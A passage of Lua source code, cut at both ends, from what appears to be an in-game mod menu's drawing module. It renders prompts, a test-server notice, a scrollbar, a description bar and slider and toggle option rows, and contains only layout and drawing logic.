subtitleSize, false, true, { 0, 0, 0, 120 }) Ham.drawText(subtitle, { titleX, subtitleY }, subtitleColor, subtitleSize, false, false, {}) if hint ~= "" then local hintY = boxY + boxHeight - roundNearest(18 * scale) local hintX = boxX + roundNearest(boxWidth / 2) Ham.drawText(hint, { hintX, hintY }, hintColor, hintSize, true, true, { 0, 0, 0, 120 }) Ham.drawText(hint, { hintX, hintY }, hintColor, hintSize, true, false, {}) end Ham.resetFont() end function assembledMenuDrawing.getTestServerConfirmLayout() local scale = menu.vars.scale or 1 local screenWidth, screenHeight = Ham.getResolution() local titleSize = roundNearest(20 * scale) local bodySize = roundNearest(14 * scale) local hintSize = roundNearest(13 * scale) local buttonFontSize = roundNearest(14 * scale) local bodyFont = menu.fonts.main and menu.fonts.main.font or menu.fonts.title local titleFont = menu.fonts.title local baseFontSize = menu.fonts.main and menu.fonts.main.font_size or 13 local bodyScale = bodySize / math.max(1, baseFontSize) local message = "Please note that not all features are available on the test server, as certain server limitations (such as disabled object spawning) prevent some functions from working properly." local buttonLabel = "Don't show again" local boxWidth = roundNearest(560 * scale) local padX = roundNearest(20 * scale) local padTop = roundNearest(16 * scale) local padBottom = roundNearest(18 * scale) local wrapWidth = boxWidth - padX * 2 local lines = {} Ham.setFont(bodyFont) local line = "" for word in string.gmatch(message, "%S+") do local candidate = line == "" and word or line .. " " .. word local measuredWidth = (select(1, Ham.getTextWidth(candidate)) or 0) * bodyScale if wrapWidth < measuredWidth and line ~= "" then lines[#lines + 1] = line line = word else line = candidate end end if line ~= "" then lines[#lines + 1] = line end if #lines == 0 then lines[1] = message end Ham.setFont(titleFont) local buttonHeight = roundNearest(26 * scale) local buttonTextWidth = select(1, Ham.getTextWidth(buttonLabel)) or 0 local buttonWidth = math.max(roundNearest(44 * scale), buttonTextWidth + roundNearest(12 * scale) * 2) Ham.resetFont() local lineGap = roundNearest(4 * scale) local bodyBlockHeight = #lines * bodySize + math.max(0, #lines - 1) * lineGap local progressHeight = math.max(2, roundNearest(3 * scale)) local gapAfterTitle = roundNearest(10 * scale) local gapAfterBody = roundNearest(14 * scale) local gapAfterHint = roundNearest(10 * scale) local gapAfterButton = roundNearest(8 * scale) local boxHeight = padTop + titleSize + gapAfterTitle + bodyBlockHeight + gapAfterBody + gapAfterHint + hintSize + gapAfterButton + buttonHeight + padBottom + progressHeight local boxX = roundNearest((screenWidth - boxWidth) / 2) local boxY = roundNearest((screenHeight - boxHeight) / 2) local buttonX = boxX + boxWidth - padX - buttonWidth local buttonY = boxY + boxHeight - progressHeight - padBottom - buttonHeight return { scale = scale, box_x = boxX, box_y = boxY, boxWidth = boxWidth, boxHeight = boxHeight, padX = padX, padTop = padTop, padBottom = padBottom, logoSize = roundNearest(24 * scale), logoPadRight = roundNearest(8 * scale), titleSize = titleSize, bodySize = bodySize, hintSize = hintSize, btnFontSize = buttonFontSize, lines = lines, lineGap = lineGap, bodyBlockH = bodyBlockHeight, progressH = progressHeight, gapAfterTitle = gapAfterTitle, centerX = boxX + roundNearest(boxWidth / 2), titleY = boxY + padTop, bodyY = boxY + padTop + titleSize + gapAfterTitle, hintY = buttonY - gapAfterHint - hintSize + roundNearest(2 * scale), dontShowBtn = { x = buttonX, y = buttonY, w = buttonWidth, h = buttonHeight, label = buttonLabel } } end function assembledMenuDrawing.drawTestServerConfirm(progress, hoverState) if not (menu.fonts and menu.fonts.title) then return end if menu.textureLoading and menu.textureLoading.ensureNotifyLogoLoading then menu.textureLoading.ensureNotifyLogoLoading() end progress = math.max(0, math.min(1, progress or 0)) local layout = menu.drawing.getTestServerConfirmLayout() if not layout then return end local scale = layout.scale local primary = menu.drawing.colors.primary local white = { 255, 255, 255, 255 } local bodyColor = { 255, 255, 255, 230 } local hint = "Hold SPACE to continue" local hintColor = { 200, 200, 200, 235 } local titleFont = menu.fonts.title local bodyFont = menu.fonts.main and menu.fonts.main.font or titleFont local rightMargin = layout.logoSize + layout.logoPadRight + roundNearest(8 * scale) menu.drawing.drawToastStylePanel( layout.box_x, layout.box_y, layout.boxWidth, layout.boxHeight, scale, menu.drawing.getToastPromptPanelOpts(primary, { logoOpts = { size = layout.logoSize, padRight = layout.logoPadRight, padTop = roundNearest(8 * scale) } }) ) Ham.setFont(titleFont) Ham.drawText( "Test Server", { layout.centerX, layout.titleY }, white, layout.titleSize, true, true, { 0, 0, 0, 160 } ) Ham.drawText("Test Server", { layout.centerX, layout.titleY }, white, layout.titleSize, true, false, {}) Ham.resetFont() menu.drawing.drawToastKeyPill( "SPACE", layout.box_x, layout.box_y, layout.boxWidth, scale, primary, rightMargin, layout.titleY - roundNearest(2 * scale) ) Ham.setFont(bodyFont) for index = 1, #layout.lines, 1 do local lineY = layout.bodyY + (index - 1) * (layout.bodySize + layout.lineGap) Ham.drawText( layout.lines[index], { layout.centerX, lineY }, bodyColor, layout.bodySize, true, true, { 0, 0, 0, 120 } ) Ham.drawText(layout.lines[index], { layout.centerX, lineY }, bodyColor, layout.bodySize, true, false, {}) end Ham.resetFont() local progressWidth = roundNearest(layout.boxWidth * progress) if progressWidth > 0 then Ham.drawRectFilled( { layout.box_x, layout.box_y + layout.boxHeight - layout.progressH, progressWidth, layout.progressH }, { primary[1], primary[2], primary[3], 255 }, 0, 0 ) end Ham.setFont(bodyFont) Ham.drawText(hint, { layout.centerX, layout.hintY }, hintColor, layout.hintSize, true, true, { 0, 0, 0, 120 }) Ham.drawText(hint, { layout.centerX, layout.hintY }, hintColor, layout.hintSize, true, false, {}) local button = layout.dontShowBtn local buttonX = button.x + roundNearest(button.w / 2) local buttonY = button.y + roundNearest((button.h - layout.btnFontSize) / 2) Ham.setFont(titleFont) Ham.drawRectFilled( { button.x, button.y, button.w, button.h }, { primary[1], primary[2], primary[3], 255 }, roundNearest(6 * scale), 8 ) Ham.drawText(button.label, { buttonX, buttonY }, white, layout.btnFontSize, true, true, { 0, 0, 0, 160 }) Ham.drawText(button.label, { buttonX, buttonY }, white, layout.btnFontSize, true, false, {}) Ham.resetFont() end function assembledMenuDrawing.drawHotkeyBindPrompt() if not (menu.fonts and menu.fonts.title) then return end if menu.textureLoading and menu.textureLoading.ensureNotifyLogoLoading then menu.textureLoading.ensureNotifyLogoLoading() end local scale = menu.vars.scale or 1 local screenWidth, screenHeight = Ham.getResolution() local boxX, boxY, boxWidth, boxHeight = menu.drawing.getKeyBindPromptBox(scale, screenWidth, screenHeight) local primary = menu.drawing.colors.primary local white = { 255, 255, 255, 255 } local subtitleColor = { 255, 255, 255, 230 } local hintColor = { 200, 200, 200, 235 } menu.drawing.drawToastStylePanel( boxX, boxY, boxWidth, boxHeight, scale, menu.drawing.getToastPromptPanelOpts(primary) ) local padding = roundNearest(14 * scale) local titleY = boxY + roundNearest(12 * scale) local logoSize = roundNearest(22 * scale) local rightMargin = logoSize + roundNearest(6 * scale) + roundNearest(8 * scale) local title = "Hotkey Bind" local subtitle = "Press a key to bind..." local hint = "" local keyName = "..." if menu.vars.hotkeyBindingInfo and menu.vars.hotkeyBindingInfo.name then local name = string.gsub(menu.vars.hotkeyBindingInfo.name, " Hotkey", "") subtitle = "Press a key for: " .. name end if GetGameTimer() < menu.vars.hotkeyBindCompleteTime then subtitle = menu.vars.hotkeyBindCompleteMessage or "Hotkey saved" hint = "" keyName = menu.vars.pendingHotkeyName or menu.vars.boundKeyName or "..." elseif menu.vars.pendingHotkeyName then subtitle = "Press Enter to confirm" hint = "Any key to change" keyName = menu.vars.pendingHotkeyName end local titleSize = roundNearest(17 * scale) local subtitleSize = roundNearest(12 * scale) local hintSize = roundNearest(13 * scale) local titleFont = menu.fonts.title local bodyFont = menu.fonts.main and menu.fonts.main.font or titleFont local dotRadius = math.max(2, roundNearest(3 * scale)) local dotX = boxX + padding + dotRadius local dotY = titleY + roundNearest(titleSize * 0.42) Ham.drawCircle({ dotX, dotY, dotRadius }, primary, 24, 1.0, true) local titleX = dotX + dotRadius + roundNearest(7 * scale) Ham.setFont(titleFont) Ham.drawText(title, { titleX, titleY }, white, titleSize, false, true, { 0, 0, 0, 160 }) Ham.drawText(title, { titleX, titleY }, white, titleSize, false, false, {}) Ham.resetFont() menu.drawing.drawToastKeyPill( keyName, boxX, boxY, boxWidth, scale, primary, rightMargin, titleY - roundNearest(2 * scale) ) local subtitleY = titleY + titleSize + roundNearest(4 * scale) if #subtitle > 44 then subtitle = string.sub(subtitle, 1, 41) .. "..." end Ham.setFont(bodyFont) Ham.drawText(subtitle, { titleX, subtitleY }, subtitleColor, subtitleSize, false, true, { 0, 0, 0, 120 }) Ham.drawText(subtitle, { titleX, subtitleY }, subtitleColor, subtitleSize, false, false, {}) if hint ~= "" then local hintY = boxY + boxHeight - roundNearest(15 * scale) local hintX = boxX + roundNearest(boxWidth / 2) Ham.drawText(hint, { hintX, hintY }, hintColor, hintSize, true, true, { 0, 0, 0, 120 }) Ham.drawText(hint, { hintX, hintY }, hintColor, hintSize, true, false, {}) end Ham.resetFont() end function assembledMenuDrawing.drawScreenBoundOverlay() local overlayUntil = menu.vars.screenBoundOverlayUntil if not overlayUntil or overlayUntil == 0 or GetGameTimer() >= overlayUntil then return end local text = menu.vars.screenBoundOverlayText if not text or text == "" or not menu.fonts or not menu.fonts.title then return end local scale = menu.vars.scale or 1 local screenWidth, screenHeight = Ham.getResolution() Ham.setFont(menu.fonts.title) local position = { roundNearest(screenWidth / 2), roundNearest(screenHeight * 0.72) } local fontSize = roundNearest(18 * scale) Ham.drawText(text, position, menu.drawing.colors.text_primary, fontSize, true, true, { 0, 0, 0, 255 }) Ham.drawText(text, position, menu.drawing.colors.text_primary, fontSize, true, false, {}) Ham.resetFont() end function assembledMenuDrawing.drawTextPrompt() local prompt = menu.vars.textPrompt if not prompt or not menu.fonts or not menu.fonts.title then return end if menu.textureLoading and menu.textureLoading.ensureNotifyLogoLoading then menu.textureLoading.ensureNotifyLogoLoading() end local scale = menu.vars.scale or 1 local screenWidth, screenHeight = Ham.getResolution() local largeCentered = prompt.largeCentered == true local dangerStyle = prompt.dangerStyle == true local layout if largeCentered then layout = menu.drawing.getLargeCenteredTextPromptLayout(prompt, scale, screenWidth, screenHeight) elseif dangerStyle then layout = menu.drawing.getDangerTextPromptLayout(prompt, scale, screenWidth, screenHeight) end if dangerStyle and layout and layout.compactDanger then menu.drawing.drawDangerCompactTextPrompt(prompt, layout, scale) return end local boxX, boxY, boxWidth, boxHeight if layout then boxX, boxY, boxWidth, boxHeight = layout.box_x, layout.box_y, layout.boxWidth, layout.boxHeight else boxX, boxY, boxWidth, boxHeight = menu.drawing.getTextPromptBox(scale, screenWidth, screenHeight) end local dangerColor = { 220, 35, 35, 255 } local primary = dangerStyle and dangerColor or menu.drawing.colors.primary local titleColor = dangerStyle and { 255, 245, 245, 255 } or { 255, 255, 255, 255 } local labelColor = dangerStyle and { 255, 255, 255, 255 } or { 255, 255, 255, 230 } local hintColor = dangerStyle and { 230, 210, 210, 255 } or { 200, 200, 200, 235 } local radius = roundNearest(8 * scale) if dangerStyle then menu.drawing.drawToastStylePanel(boxX, boxY, boxWidth, boxHeight, scale, { primary = dangerColor, noGradient = false, overlayOnly = false, alwaysThemeGradient = true, themeTintAlpha = 34, gradientAlpha = 42, glowOverlayAlpha = 24, logo = false, bgAlpha = 255, cornerRadius = radius }) Ham.drawRect( { boxX, boxY }, { boxX + boxWidth, boxY + boxHeight }, { dangerColor[1], dangerColor[2], dangerColor[3], 190 }, 2, radius, 1 ) else menu.drawing.drawToastStylePanel( boxX, boxY, boxWidth, boxHeight, scale, menu.drawing.getToastPromptPanelOpts(primary) ) end local padX = layout and layout.padX or roundNearest(14 * scale) local padTop = layout and layout.padTop or roundNearest(12 * scale) local title = tostring(prompt.title or "Input") local label = tostring(prompt.label or "") local hint = "Enter: Submit | Backspace/Delete: Remove | Esc: Cancel" local titleSize = layout and layout.titleSize or roundNearest(17 * scale) local subtitleSize = layout and layout.subtitleSize or roundNearest((prompt.smallLabel and 11 or 12) * scale) local hintSize = layout and layout.hintSize or roundNearest(13 * scale) local titleFont = menu.fonts.title local bodyFont = menu.fonts.main and menu.fonts.main.font or titleFont local dotRadius = math.max(2, roundNearest(3 * scale)) local titleY = layout and layout.titleY or boxY + padTop local titleX if dangerStyle and layout and layout.iconCenterX and layout.iconY and menu.fonts and menu.fonts.notifyIcons then Ham.setFont(menu.fonts.notifyIcons) local icon = "\239\129\177" Ham.drawText( icon, { layout.iconCenterX, layout.iconY }, dangerColor, layout.iconSize, true, true, { 0, 0, 0, 180 } ) Ham.drawText(icon, { layout.iconCenterX, layout.iconY }, dangerColor, layout.iconSize, true, false, {}) Ham.resetFont() titleX = boxX + roundNearest(boxWidth / 2) elseif dangerStyle and menu.fonts and menu.fonts.notifyIcons then local iconSize = layout and layout.iconSize or roundNearest(15 * scale) local iconX = layout and layout.iconX or boxX + padX local iconY = titleY + roundNearest((titleSize - iconSize) * 0.35) Ham.setFont(menu.fonts.notifyIcons) local icon = "\239\129\177" Ham.drawText(icon, { iconX, iconY }, dangerColor, iconSize, false, true, { 0, 0, 0, 180 }) Ham.drawText(icon, { iconX, iconY }, dangerColor, iconSize, false, false, {}) Ham.resetFont() titleX = layout and layout.textX or iconX + iconSize + roundNearest(6 * scale) else local dotX = boxX + padX + dotRadius local dotY = titleY + roundNearest(titleSize * 0.42) Ham.drawCircle({ dotX, dotY, dotRadius }, primary, 24, 1.0, true) titleX = dotX + dotRadius + roundNearest(7 * scale) end Ham.setFont(titleFont) local actualTitleColor = dangerStyle and { 255, 120, 120, 255 } or titleColor local centered = largeCentered Ham.drawText( title, { titleX, titleY }, actualTitleColor, titleSize, centered, true, { 0, 0, 0, dangerStyle and 220 or 160 } ) Ham.drawText(title, { titleX, titleY }, actualTitleColor, titleSize, centered, false, {}) local subtitleY = layout and layout.subtitleY or titleY + titleSize + roundNearest(4 * scale) if layout and layout.lines and #layout.lines > 0 then Ham.setFont(bodyFont) for index, line in ipairs(layout.lines) do local lineY = subtitleY + (index - 1) * (subtitleSize + layout.lineGap) local lineX = largeCentered and boxX + roundNearest(boxWidth / 2) or layout.textX or titleX Ham.drawText( line, { lineX, lineY }, labelColor, subtitleSize, largeCentered, true, { 0, 0, 0, dangerStyle and 200 or 120 } ) Ham.drawText(line, { lineX, lineY }, labelColor, subtitleSize, largeCentered, false, {}) end elseif label ~= "" then if not dangerStyle and #label > 44 then label = string.sub(label, 1, 41) .. "..." end Ham.setFont(bodyFont) Ham.drawText( label, { titleX, subtitleY }, labelColor, subtitleSize, false, true, { 0, 0, 0, dangerStyle and 200 or 120 } ) Ham.drawText(label, { titleX, subtitleY }, labelColor, subtitleSize, false, false, {}) end Ham.resetFont() local inputY = layout and layout.inputY if not inputY then if label ~= "" then inputY = subtitleY + subtitleSize + roundNearest(8 * scale) else inputY = titleY + titleSize + roundNearest(8 * scale) end end local inputHeight = layout and layout.inputH or roundNearest(26 * scale) local inputWidth = boxWidth - padX * 2 local inputX = boxX + padX local inputRadius = roundNearest(6 * scale) Ham.drawRectFilled({ inputX, inputY, inputWidth, inputHeight }, { 8, 0, 0, 255 }, inputRadius, 8) Ham.drawRect( { inputX, inputY }, { inputX + inputWidth, inputY + inputHeight }, { primary[1], primary[2], primary[3], dangerStyle and 170 or 100 }, dangerStyle and 2 or 1, inputRadius, 1 ) prompt.blink = (prompt.blink or 0) + GetFrameTime() local cursorVisible = math.floor(prompt.blink * 2 % 2) == 0 local value = tostring(prompt.value or "") local cursor = tonumber(prompt.cursorPos) or #value cursor = math.max(0, math.min(#value, cursor)) prompt.cursorPos = cursor local display = value:sub(1, cursor) .. (cursorVisible and "|" or " ") .. value:sub(cursor + 1) local inputColor = { 255, 255, 255, 255 } local placeholderColor = { 140, 140, 145, 200 } if value == "" and prompt.placeholder and prompt.placeholder ~= "" then display = prompt.placeholder inputColor = placeholderColor end Ham.setFont(menu.fonts.options.font) local inputFontSize = math.max(12, roundNearest((menu.fonts.options.font_size or 15) * 0.92)) local inputTextX = inputX + roundNearest(10 * scale) local inputTextY = inputY + roundNearest((inputHeight - inputFontSize) / 2) if prompt._selectAll and #value > 0 then local valueWidth = select(1, Ham.getTextWidth(value)) or 0 local selectionWidth = math.min(valueWidth + roundNearest(4 * scale), inputWidth - roundNearest(20 * scale)) Ham.drawRectFilled( { inputTextX - roundNearest(1 * scale), inputTextY, selectionWidth, math.max(roundNearest(12 * scale), inputFontSize) }, { primary[1], primary[2], primary[3], 70 }, roundNearest(2 * scale), 0 ) end Ham.drawText(display, { inputTextX, inputTextY }, inputColor, inputFontSize, false, false, {}) Ham.resetFont() local hintY = layout and layout.hintY or boxY + boxHeight - roundNearest(15 * scale) Ham.setFont(bodyFont) local hintX = boxX + roundNearest(boxWidth / 2) Ham.drawText(hint, { hintX, hintY }, hintColor, hintSize, true, true, { 0, 0, 0, 120 }) Ham.drawText(hint, { hintX, hintY }, hintColor, hintSize, true, false, {}) Ham.resetFont() end function assembledMenuDrawing.getScrollbarLayout(menuX, menuY, side, scale, availableHeight) local trackWidth = math.max(6, roundNearest(7 * scale)) local horizontalGap = roundNearest(2 * scale) local topBottomPad = roundNearest(6 * scale) local thumbInset = math.max(1, roundNearest(2 * scale)) local thumbVerticalInset = math.max(3, roundNearest(5 * scale)) local trackRadius = math.max(4, roundNearest(trackWidth / 2)) local scrollbarX if side == "right" then scrollbarX = roundNearest(menuX + roundNearest(menu.vars.width) + horizontalGap) else scrollbarX = roundNearest(menuX - trackWidth - horizontalGap) end local trackY = menuY + topBottomPad local trackHeight = math.max(0, availableHeight - topBottomPad * 2) local thumbWidth = math.max(2, trackWidth - thumbInset * 2) return { trackW = trackWidth, trackRadius = trackRadius, thumbInset = thumbInset, thumbVerticalInset = thumbVerticalInset, innerTrackH = math.max(0, trackHeight - thumbVerticalInset * 2), thumbW = thumbWidth, thumbX = scrollbarX + thumbInset, thumbRadius = math.max(1, roundNearest(thumbWidth / 2)), scrollbar_x = scrollbarX, trackY = trackY, trackH = trackHeight, topBottomPad = topBottomPad } end function assembledMenuDrawing.drawScrollbar(options, menuX, menuY, side, forceShow, availableHeight) local scale = menu.vars.scale local optionCount = #options if optionCount <= 0 then return end local optionHeight = roundNearest(menu.vars.optionHeight * scale) local visibleCount = math.min(optionCount, menu.vars.maxVisibleOptions) if visibleCount <= 0 then return end local height = availableHeight or visibleCount * optionHeight local maximumOffset = math.max(0, optionCount - menu.vars.maxVisibleOptions) if maximumOffset <= 0 and not forceShow then return end local layout = menu.drawing.getScrollbarLayout(menuX, menuY, side, scale, height) Ham.drawRectFilled( { layout.scrollbar_x, layout.trackY, layout.trackW, layout.trackH }, { 0, 0, 0, 255 }, layout.trackRadius, 12 ) menu.vars._scrollVisual = menu.vars._scrollVisual or 0 local targetOffset = math.min(math.max(0, menu.vars.scrollOffset or 0), maximumOffset) if math.abs(menu.vars._scrollVisual - targetOffset) > math.max(1, maximumOffset * 0.75) then menu.vars._scrollVisual = targetOffset end menu.vars._scrollVisual = menu.vars._scrollVisual + (targetOffset - menu.vars._scrollVisual) * 0.35 if math.abs(menu.vars._scrollVisual - targetOffset) < 0.02 then menu.vars._scrollVisual = targetOffset end local verticalInset = layout.thumbVerticalInset local innerHeight = layout.innerTrackH local endPadding = roundNearest(4 * scale) local maximumThumbHeight = math.max(roundNearest(18 * scale), innerHeight - endPadding * 2) local visibleRatio = visibleCount / math.max(optionCount, 1) local thumbHeight, thumbY if maximumOffset <= 0 then thumbHeight = layout.trackH thumbY = layout.trackY else thumbHeight = math.max(innerHeight * visibleRatio, roundNearest(22 * scale)) thumbHeight = math.min(thumbHeight, maximumThumbHeight) local fraction = math.max(0, math.min(1, menu.vars._scrollVisual / maximumOffset)) thumbY = layout.trackY + endPadding + (innerHeight - thumbHeight) * fraction end local thumbColor = menu.vars.currentColorTheme == "grey" and menu.drawing.colors.primary or menu.drawing.colors.scroll_thumb or menu.drawing.colors.primary or { 106, 0, 255, 255 } local highlightColor = menu.drawing.colors.primary_light or thumbColor thumbY = roundNearest(thumbY) thumbHeight = roundNearest(thumbHeight) local cache = menu.drawing._scrollGlowCache if not cache or cache.scale ~= scale then cache = { scale = scale, layers = { { expand = roundNearest(9 * scale), alpha = 10 }, { expand = roundNearest(7 * scale), alpha = 18 }, { expand = roundNearest(6 * scale), alpha = 28 }, { expand = roundNearest(5 * scale), alpha = 40 }, { expand = roundNearest(4 * scale), alpha = 56 }, { expand = roundNearest(3 * scale), alpha = 76 }, { expand = roundNearest(2 * scale), alpha = 100 }, { expand = roundNearest(1 * scale), alpha = 125 } } } menu.drawing._scrollGlowCache = cache end for _, layer in ipairs(cache.layers) do local expand = layer.expand Ham.drawRectFilled( { layout.thumbX - expand, thumbY - expand, layout.thumbW + expand * 2, thumbHeight + expand * 2 }, { thumbColor[1], thumbColor[2], thumbColor[3], layer.alpha }, layout.thumbRadius + expand, 10 ) end Ham.drawRectFilled( { layout.thumbX, thumbY, layout.thumbW, thumbHeight }, { thumbColor[1], thumbColor[2], thumbColor[3], 255 }, layout.thumbRadius, 10 ) Ham.drawRectFilled( { layout.thumbX, thumbY, layout.thumbW, math.max(1, roundNearest(thumbHeight * 0.25)) }, { highlightColor[1], highlightColor[2], highlightColor[3], 58 }, layout.thumbRadius, 8 ) end function assembledMenuDrawing.drawDescriptionBar( description, unused1, unused2, optionHeight, visibleOptions, tabHeight, force, compact ) description = description and tostring(description):match("^%s*(.-)%s*$") or "" if description == "" then return end if menu.logic and menu.logic.isDescriptionBarBlocked() then return end if not force and not menu.vars.bools.descriptionBar then return end local freecamMode = menu.vars.freecamMenuActive if not freecamMode and menu.vars.bools then freecamMode = menu.vars.bools.freecam == true end if not force and freecamMode then return end local menuScale = menu.vars.scale local position = menu.vars.menuPositionState if position.x == nil or position.y == nil then position.x = roundNearest(75 * menuScale) position.y = roundNearest(menu.vars.resolution.y / (menu.vars.menuVerticalAnchorDivisor or 7)) + roundNearest(menu.vars.yOffset * menuScale) + roundNearest(menu.vars.bannerHeight * menu.vars.widthScaleFactor) end local visibleCount = math.min(#visibleOptions, menu.vars.maxVisibleOptions) local totalHeight = roundNearest( menu.vars.titleBarHeight * menuScale + tabHeight + visibleCount * optionHeight + menu.vars.footerHeight * menuScale ) local screenWidth, screenHeight = Ham.getResolution() local scale = math.min(menuScale or 1.0, compact and 0.95 or 1.06) local optionFont = menu.fonts.options Ham.setFont(optionFont.font) local baseFontSize = optionFont.font_size or 15 local fontSize if compact then fontSize = math.max(12, roundNearest(baseFontSize * 0.88)) elseif force then fontSize = math.max(15, roundNearest(baseFontSize * 1.02)) else fontSize = math.max(13, roundNearest(baseFontSize * 0.98)) end local fontScale = baseFontSize > 0 and fontSize / baseFontSize or 1.0 local measuredWidth = select(1, Ham.getTextWidth(description)) or 0 local textWidth = roundNearest(measuredWidth * fontScale) local horizontalPadding = math.max(compact and 5 or 7, roundNearest((compact and 8 or force and 12 or 10) * scale)) local verticalPadding = math.max(compact and 3 or 5, roundNearest((compact and 4 or force and 8 or 7) * scale)) local boxHeight = fontSize + verticalPadding * 2 local boxWidth = textWidth + horizontalPadding * 2 local white = { 255, 255, 255, 255 } if freecamMode then local textY = roundNearest(screenHeight * 0.985 - fontSize * 0.5) if Hdn and Hdn.drawText then Hdn.drawText(description, { screenWidth / 2, textY }, white, fontSize, true, true, { 0, 0, 0, 200 }) Hdn.drawText(description, { screenWidth / 2, textY }, white, fontSize, true, false, {}) else local textX = roundNearest((screenWidth - textWidth) / 2) Ham.drawText(description, { textX, textY }, white, fontSize, false, true, { 0, 0, 0, 200 }) Ham.drawText(description, { textX, textY }, white, fontSize, false, false, {}) end Ham.resetFont() return end local boxY = roundNearest(screenHeight / 1.1 - boxHeight - roundNearest(12 * scale)) local boxX = roundNearest((screenWidth - boxWidth) / 2) boxWidth = roundNearest(boxWidth) boxHeight = roundNearest(boxHeight) menu.drawing.drawToastStylePanel(boxX, boxY, boxWidth, boxHeight, scale, { noGradient = true, bgAlpha = 255, cornerRadius = roundNearest(8 * scale), logo = false }) local textX = boxX + horizontalPadding local textY = boxY + verticalPadding Ham.drawText(description, { textX, textY }, white, fontSize, false, true, { 0, 0, 0, 200 }) Ham.drawText(description, { textX, textY }, white, fontSize, false, false, {}) Ham.resetFont() end function assembledMenuDrawing.drawMenuWithOptions(optionsToDraw, paneOffsetX, selectionActive, tabHeightOverride) if not optionsToDraw then return end local menuScale = menu.vars.scale local effectiveTabHeight = tabHeightOverride or menu.vars.tabHeight local position = menu.vars.menuPositionState if position.x == nil or position.y == nil then position.x = roundNearest(75 * menuScale) position.y = roundNearest(menu.vars.resolution.y / (menu.vars.menuVerticalAnchorDivisor or 7)) + roundNearest(menu.vars.yOffset * menuScale) + roundNearest(menu.vars.bannerHeight * menu.vars.widthScaleFactor) end local menuX = position.x + paneOffsetX local menuY = position.y + roundNearest(menu.vars.titleBarHeight * menuScale) + effectiveTabHeight local optionHeight = roundNearest(menu.vars.optionHeight * menuScale) local playerInfoMode = menu.vars.playerInfoListMode == true local contentAlpha = playerInfoMode and 0.22 or 1.0 local menuWidth = menu.vars.width local px2 = roundNearest(2 * menuScale) local px4 = roundNearest(4 * menuScale) local px5 = roundNearest(5 * menuScale) local px6 = roundNearest(6 * menuScale) local px7 = roundNearest(7 * menuScale) local px8 = roundNearest(8 * menuScale) local px9 = roundNearest(9 * menuScale) local px10 = roundNearest(10 * menuScale) local px12 = roundNearest(12 * menuScale) local px14 = roundNearest(14 * menuScale) local px15 = roundNearest(15 * menuScale) local px20 = roundNearest(20 * menuScale) local px22 = roundNearest(22 * menuScale) local px26 = roundNearest(26 * menuScale) local rightEdge = menuX + menuWidth - px15 local insetRightEdge = menuX + menuWidth - px22 local halfOptionHeight = roundNearest(optionHeight / 2) local toggleWidth = roundNearest(44 * menuScale * 0.75) local toggleHeight = roundNearest(22 * menuScale * 0.75) local halfToggleHeight = floorNumber(toggleHeight / 2) local swatchSize = roundNearest(14 * menuScale) local modernSliderWidth = roundNearest(90 * menuScale) local classicSliderWidth = roundNearest(72 * menuScale) local modernSliderHeight = roundNearest(6 * menuScale) local classicSliderHeight = roundNearest(5 * menuScale) local optionFont = menu.fonts.options Ham.setFont(optionFont.font) local function isSkinOption(option) if not option then return false end local variable = tostring(option.var or option.sliderVar or "") return variable:match("^skin") ~= nil end local function shouldShowSkinSliderValue(option) if not option or not isSkinOption(option) or option.labelWithValue == false then return false end if option.type == "toggle" and ( option.sliderVar == "noclipSpeed" or option.sliderVar == "sliderModeSpeed" or option.sliderVar == "runSpeedMult" or option.sliderVar == "freecamSpeedLevel" ) then return false end return true end local function usesModernSliderStyle(option) return option and option.sliderStyle ~= "classic" and not isSkinOption(option) end local function getSliderTrackWidth(option) return usesModernSliderStyle(option) and modernSliderWidth or classicSliderWidth end local function getSliderTrackHeight(option) return usesModernSliderStyle(option) and modernSliderHeight or classicSliderHeight end local function drawSliderTrack(x, y, width, value, minimum, maximum, rowHeight) local barHeight = math.max(1, roundNearest(2.5 * menuScale)) local barY = y + roundNearest(rowHeight / 2) - math.floor(barHeight / 2) local fraction = (value - minimum) / (maximum - minimum) if fraction < 0 then fraction = 0 elseif fraction > 1 then fraction = 1 end Ham.drawRectFilled({ x, barY, width, barHeight }, { 12, 12, 16, 235 }, 1, 0) local fillWidth = math.max(0, math.floor(width * fraction + 0.5)) if fillWidth > 0 then Ham.drawRectFilled({ x, barY, fillWidth, barHeight }, { 255, 255, 255, 255 }, 1, 0) end local knobRadius = math.max(3, roundNearest(4 * menuScale)) local knobX = x + width * fraction local knobY = barY + barHeight / 2 Ham.drawCircle({ knobX, knobY, knobRadius + 1 }, { 0, 0, 0, 70 }, 32, 1.0, true) Ham.drawCircle({ knobX, knobY, knobRadius }, { 255, 255, 255, 255 }, 32, 1.0, true) end local function formatSliderNumber(value, step) local number = tonumber(value) if not number or number ~= number then number = 0 end local precision = 2 if step and tonumber(step) and tonumber(step) > 0 then step = tonumber(step) local decimals = 0 local scaledStep = step while decimals < 6 do local rounded = math.floor(scaledStep + 0.5) if math.abs(scaledStep - rounded) < 1.0E-7 then break end scaledStep = scaledStep * 10 decimals = decimals + 1 end precision = math.min(math.max(decimals, 0), 3) number = math.floor(number / step + 0.5) * step else number = math.floor(number * 100 + 0.5) / 100 end if precision <= 0 then return string.format("%.0f", number) end return string.format("%." .. precision .. "f", number) end if selectionActive then local targetY = menuY + (menu.vars.currentOption - 1) * optionHeight local visibility = menu.vars.menuVisibilityAnim local visibilityMoving if visibility then visibilityMoving = math.abs((visibility.progress or 1) - (visibility.target or 1)) > 0.01 or (visibility.progress or 1) < 0.995 end local moving = visibilityMoving or (menu.vars.animation and menu.vars.animation.active) local selection = menu.vars.selectionAnim if not selection.initialized or moving then selection.y = targetY selection.targetY = targetY selection.initialized = true else selection.targetY = targetY local speed = menu.vars.selectors.selectionBarSpeedMultiplier or menu.vars.animationSpeedMultiplier or 1.0 local interpolation = 1 - math.exp(-GetFrameTime() * 18.0 * speed) selection.y = selection.y + (selection.targetY - selection.y) * math.min(1.0, interpolation) end end if selectionActive and menu.vars.enableAnimatedHighlight then local highlightX = menuX local highlightY = menu.vars.selectionAnim.y local highlightWidth = menuWidth local greyTheme = (menu.vars.currentColorTheme or "purple") == "grey" local glowOpacity = greyTheme and 0.25 or 1.0 local accentOpacity = greyTheme and 0.55 or 1.0 local primary = menu.drawing.colors.primary local light = menu.drawing.colors.primary_light local dark = menu.drawing.colors.primary_dark local clipBottom = menuY + minNumber(#optionsToDraw, menu.vars.maxVisibleOptions) * optionHeight Ham.pushClipRect({ menuX, menuY }, { menuX + menuWidth, clipBottom }, true) highlightY = math.max(menuY, highlightY) local cache = menu.drawing._selGlowCache if not cache or cache.scale ~= menuScale then cache = { scale = menuScale, layers = { { 